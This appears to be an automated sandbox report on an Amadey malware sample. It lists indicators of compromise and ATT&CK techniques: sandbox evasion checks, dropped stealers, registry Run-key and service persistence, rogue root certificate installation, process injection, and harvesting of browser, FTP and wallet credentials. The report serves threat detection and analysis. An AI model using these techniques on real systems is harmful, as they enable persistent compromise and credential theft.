amadey | eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c

Virtualization/Sandbox Evasion

Processes:

axplong.exeaxplong.exeaxplong.exeeea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exeaxplong.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

71 4796 powershell.exe
99 1392 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

1392 powershell.exe
4796 powershell.exe
3624 powershell.exe
2316 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

flow	pid	process
71	4796	powershell.exe
99	1392	powershell.exe

pid	process
1392	powershell.exe
4796	powershell.exe
3624	powershell.exe
2316	powershell.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\x300601\Parameters\ServiceDll = "C:\\Windows\\System32\\x300601.dat"	reg.exe

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

axplong.exeaxplong.exeaxplong.exeaxplong.exeeea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Set-up.exeruntime.exeruntime.exeeea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exeaxplong.exeRegAsm.exeNework.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	Set-up.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	runtime.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	runtime.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	axplong.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	Nework.exe

Executes dropped EXE 29 IoCs

Processes:

axplong.execrypted.execrypteda.exe1L6p3TKPfb.exe8SzG3G8ZdZ.exeNework.exeHkbsse.exestealc_default2.exeSet-up.exe1.exesvchost015.exeSpeech+to+Text+Pro.exeHkbsse.exeaxplong.exeAmadeus.exebuild.exeruntime.exepyl64.exeservice123.exeprintui.exeaxplong.exeHkbsse.exeruntime.exeusvc.execonsole_zero.exechannel3.exeHkbsse.exeaxplong.exeruntime.exe

pid	process
5772	axplong.exe
1584	crypted.exe
3456	crypteda.exe
5600	1L6p3TKPfb.exe
968	8SzG3G8ZdZ.exe
5492	Nework.exe
212	Hkbsse.exe
984	stealc_default2.exe
336	Set-up.exe
2608	1.exe
1580	svchost015.exe
1500	Speech+to+Text+Pro.exe
3624	Hkbsse.exe
3500	axplong.exe
6044	Amadeus.exe
2932	build.exe
5528	runtime.exe
764	pyl64.exe
460	service123.exe
1624	printui.exe
2972	axplong.exe
404	Hkbsse.exe
220	runtime.exe
1520	usvc.exe
1536	console_zero.exe
2308	channel3.exe
4168	Hkbsse.exe
2268	axplong.exe
1448	runtime.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

axplong.exeaxplong.exeeea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exeaxplong.exeaxplong.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Wine	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Wine	axplong.exe

Loads dropped DLL 16 IoCs

Processes:

stealc_default2.exeservice123.exeprintui.exesvchost.execonsole_zero.exe

pid	process
984	stealc_default2.exe
984	stealc_default2.exe
460	service123.exe
1624	printui.exe
4440	svchost.exe
4440	svchost.exe
4440	svchost.exe
4440	svchost.exe
4440	svchost.exe
4440	svchost.exe
4440	svchost.exe
4440	svchost.exe
4440	svchost.exe
4440	svchost.exe
1536	console_zero.exe
1536	console_zero.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

axplong.exeruntime.exeruntime.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Amadeus.exe = "C:\\Users\\Admin\\1000238002\\Amadeus.exe"	axplong.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\runtime = "C:\\Users\\Admin\\Pictures\\Lighter Tech\\runtime.exe"	runtime.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\runtime = "C:\\Users\\Admin\\Pictures\\Lighter Tech\\runtime.exe"	runtime.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Indicator Removal: Clear Persistence 1 TTPs 1 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
defense_evasion

Clear Persistence
T1070.009

Processes:

cmd.exe

pid process

3800 cmd.exe

pid	process
3800	cmd.exe

Drops file in System32 directory 14 IoCs

Processes:

usvc.exeprintui.exe

description	ioc	process
File created	C:\Windows\System32\winsvcf\winlogsvc	usvc.exe
File created	C:\Windows\System32\zlib1.dll	usvc.exe
File created	C:\Windows\System32\libiconv-2.dll	usvc.exe
File created	C:\Windows\System32\vcruntime140d.dll	usvc.exe
File created	C:\Windows\System32\libpq.dll	usvc.exe
File created	C:\Windows\System32\libcurl.dll	usvc.exe
File created	C:\Windows\System32\libintl-9.dll	usvc.exe
File created	C:\Windows\System32\libssl-3-x64.dll	usvc.exe
File created	C:\Windows\System32\libwinpthread-1.dll	usvc.exe
File created	C:\Windows\System32\console_zero.exe	usvc.exe
File created	C:\Windows\System32\usvc.exe	printui.exe
File created	C:\Windows\System32\ucrtbased.dll	usvc.exe
File created	C:\Windows\System32\libcrypto-3-x64.dll	usvc.exe
File created	C:\Windows\System32\x300601.dat	usvc.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exeaxplong.exeaxplong.exeaxplong.exeaxplong.exe

pid process

3128 eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
5772 axplong.exe
3500 axplong.exe
2972 axplong.exe
2268 axplong.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

crypted.execrypteda.exe1.exeSpeech+to+Text+Pro.exeAmadeus.exeruntime.exeruntime.exe

description	pid	process	target process
PID 1584 set thread context of 5536	1584	crypted.exe	RegAsm.exe
PID 3456 set thread context of 1048	3456	crypteda.exe	RegAsm.exe
PID 2608 set thread context of 1580	2608	1.exe	svchost015.exe
PID 1500 set thread context of 972	1500	Speech+to+Text+Pro.exe	BitLockerToGo.exe
PID 6044 set thread context of 4436	6044	Amadeus.exe	BitLockerToGo.exe
PID 5528 set thread context of 1300	5528	runtime.exe	AppLaunch.exe
PID 220 set thread context of 5872	220	runtime.exe	AppLaunch.exe

Drops file in Windows directory 2 IoCs

Processes:

eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exeNework.exe

description	ioc	process
File created	C:\Windows\Tasks\axplong.job	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
File created	C:\Windows\Tasks\Hkbsse.job	Nework.exe

Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exe

pid process

3524 sc.exe
3764 sc.exe

pid	process
3524	sc.exe
3764	sc.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

Processes:

resource	yara_rule
C:\Windows\System32\usvc.exe	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

crypted.exeRegAsm.execrypteda.exe1L6p3TKPfb.exeNework.exeeea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exeAmadeus.exeBitLockerToGo.exeBitLockerToGo.exeAppLaunch.exeservice123.exe1.exestealc_default2.exebuild.exechannel3.exeRegAsm.exe8SzG3G8ZdZ.exeHkbsse.exeSet-up.exesvchost015.exeSpeech+to+Text+Pro.exeaxplong.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypteda.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1L6p3TKPfb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Nework.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Amadeus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	service123.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	channel3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8SzG3G8ZdZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hkbsse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Set-up.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Speech+to+Text+Pro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axplong.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

stealc_default2.exeSet-up.exechannel3.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	stealc_default2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Set-up.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Set-up.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	channel3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	channel3.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3520 timeout.exe
3116 timeout.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3972 reg.exe

pid	process
3520	timeout.exe
3116	timeout.exe

pid	process
3972	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

RegAsm.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

5652 schtasks.exe
3180 schtasks.exe

pid	process
5652	schtasks.exe
3180	schtasks.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

Processes:

eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exeaxplong.exestealc_default2.exe1L6p3TKPfb.exe8SzG3G8ZdZ.exeaxplong.exebuild.exepyl64.exepowershell.exepowershell.exeaxplong.exepowershell.exepowershell.exeaxplong.exe

pid	process
3128	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
3128	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
5772	axplong.exe
5772	axplong.exe
984	stealc_default2.exe
984	stealc_default2.exe
5600	1L6p3TKPfb.exe
5600	1L6p3TKPfb.exe
984	stealc_default2.exe
984	stealc_default2.exe
968	8SzG3G8ZdZ.exe
968	8SzG3G8ZdZ.exe
968	8SzG3G8ZdZ.exe
968	8SzG3G8ZdZ.exe
968	8SzG3G8ZdZ.exe
968	8SzG3G8ZdZ.exe
3500	axplong.exe
3500	axplong.exe
2932	build.exe
2932	build.exe
764	pyl64.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe
3624	powershell.exe
3624	powershell.exe
2972	axplong.exe
2972	axplong.exe
2316	powershell.exe
2316	powershell.exe
1392	powershell.exe
1392	powershell.exe
2268	axplong.exe
2268	axplong.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

Processes:

printui.exe

pid process

1624 printui.exe
1624 printui.exe

pid	process
1624	printui.exe
1624	printui.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

1L6p3TKPfb.exe8SzG3G8ZdZ.exebuild.exeruntime.exepowershell.exeExplorer.EXEpowershell.exeruntime.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	5600	1L6p3TKPfb.exe
Token: SeBackupPrivilege	5600	1L6p3TKPfb.exe
Token: SeSecurityPrivilege	5600	1L6p3TKPfb.exe
Token: SeSecurityPrivilege	5600	1L6p3TKPfb.exe
Token: SeSecurityPrivilege	5600	1L6p3TKPfb.exe
Token: SeSecurityPrivilege	5600	1L6p3TKPfb.exe
Token: SeDebugPrivilege	968	8SzG3G8ZdZ.exe
Token: SeDebugPrivilege	2932	build.exe
Token: SeBackupPrivilege	2932	build.exe
Token: SeSecurityPrivilege	2932	build.exe
Token: SeSecurityPrivilege	2932	build.exe
Token: SeSecurityPrivilege	2932	build.exe
Token: SeSecurityPrivilege	2932	build.exe
Token: SeDebugPrivilege	5528	runtime.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeDebugPrivilege	220	runtime.exe
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE
Token: SeCreatePagefilePrivilege	3568	Explorer.EXE
Token: SeShutdownPrivilege	3568	Explorer.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe

pid process

3128 eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3568 Explorer.EXE

pid	process
3568	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exeaxplong.execrypted.execrypteda.exeRegAsm.exeNework.exe1.exe

description	pid	process	target process
PID 3128 wrote to memory of 5772	3128	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe	axplong.exe
PID 3128 wrote to memory of 5772	3128	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe	axplong.exe
PID 3128 wrote to memory of 5772	3128	eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe	axplong.exe
PID 5772 wrote to memory of 1584	5772	axplong.exe	crypted.exe
PID 5772 wrote to memory of 1584	5772	axplong.exe	crypted.exe
PID 5772 wrote to memory of 1584	5772	axplong.exe	crypted.exe
PID 1584 wrote to memory of 5536	1584	crypted.exe	RegAsm.exe
PID 1584 wrote to memory of 5536	1584	crypted.exe	RegAsm.exe
PID 1584 wrote to memory of 5536	1584	crypted.exe	RegAsm.exe
PID 1584 wrote to memory of 5536	1584	crypted.exe	RegAsm.exe
PID 1584 wrote to memory of 5536	1584	crypted.exe	RegAsm.exe
PID 1584 wrote to memory of 5536	1584	crypted.exe	RegAsm.exe
PID 1584 wrote to memory of 5536	1584	crypted.exe	RegAsm.exe
PID 1584 wrote to memory of 5536	1584	crypted.exe	RegAsm.exe
PID 5772 wrote to memory of 3456	5772	axplong.exe	crypteda.exe
PID 5772 wrote to memory of 3456	5772	axplong.exe	crypteda.exe
PID 5772 wrote to memory of 3456	5772	axplong.exe	crypteda.exe
PID 3456 wrote to memory of 3024	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 3024	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 3024	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 3456 wrote to memory of 1048	3456	crypteda.exe	RegAsm.exe
PID 1048 wrote to memory of 5600	1048	RegAsm.exe	1L6p3TKPfb.exe
PID 1048 wrote to memory of 5600	1048	RegAsm.exe	1L6p3TKPfb.exe
PID 1048 wrote to memory of 5600	1048	RegAsm.exe	1L6p3TKPfb.exe
PID 1048 wrote to memory of 968	1048	RegAsm.exe	8SzG3G8ZdZ.exe
PID 1048 wrote to memory of 968	1048	RegAsm.exe	8SzG3G8ZdZ.exe
PID 1048 wrote to memory of 968	1048	RegAsm.exe	8SzG3G8ZdZ.exe
PID 5772 wrote to memory of 5492	5772	axplong.exe	Nework.exe
PID 5772 wrote to memory of 5492	5772	axplong.exe	Nework.exe
PID 5772 wrote to memory of 5492	5772	axplong.exe	Nework.exe
PID 5492 wrote to memory of 212	5492	Nework.exe	Hkbsse.exe
PID 5492 wrote to memory of 212	5492	Nework.exe	Hkbsse.exe
PID 5492 wrote to memory of 212	5492	Nework.exe	Hkbsse.exe
PID 5772 wrote to memory of 984	5772	axplong.exe	stealc_default2.exe
PID 5772 wrote to memory of 984	5772	axplong.exe	stealc_default2.exe
PID 5772 wrote to memory of 984	5772	axplong.exe	stealc_default2.exe
PID 5772 wrote to memory of 336	5772	axplong.exe	Set-up.exe
PID 5772 wrote to memory of 336	5772	axplong.exe	Set-up.exe
PID 5772 wrote to memory of 336	5772	axplong.exe	Set-up.exe
PID 5772 wrote to memory of 2608	5772	axplong.exe	1.exe
PID 5772 wrote to memory of 2608	5772	axplong.exe	1.exe
PID 5772 wrote to memory of 2608	5772	axplong.exe	1.exe
PID 2608 wrote to memory of 1580	2608	1.exe	svchost015.exe
PID 2608 wrote to memory of 1580	2608	1.exe	svchost015.exe
PID 2608 wrote to memory of 1580	2608	1.exe	svchost015.exe
PID 2608 wrote to memory of 1580	2608	1.exe	svchost015.exe
PID 2608 wrote to memory of 1580	2608	1.exe	svchost015.exe
PID 2608 wrote to memory of 1580	2608	1.exe	svchost015.exe
PID 2608 wrote to memory of 1580	2608	1.exe	svchost015.exe
PID 2608 wrote to memory of 1580	2608	1.exe	svchost015.exe
PID 5772 wrote to memory of 1500	5772	axplong.exe	Speech+to+Text+Pro.exe
PID 5772 wrote to memory of 1500	5772	axplong.exe	Speech+to+Text+Pro.exe
PID 5772 wrote to memory of 1500	5772	axplong.exe	Speech+to+Text+Pro.exe
PID 5772 wrote to memory of 6044	5772	axplong.exe	Amadeus.exe
PID 5772 wrote to memory of 6044	5772	axplong.exe	Amadeus.exe

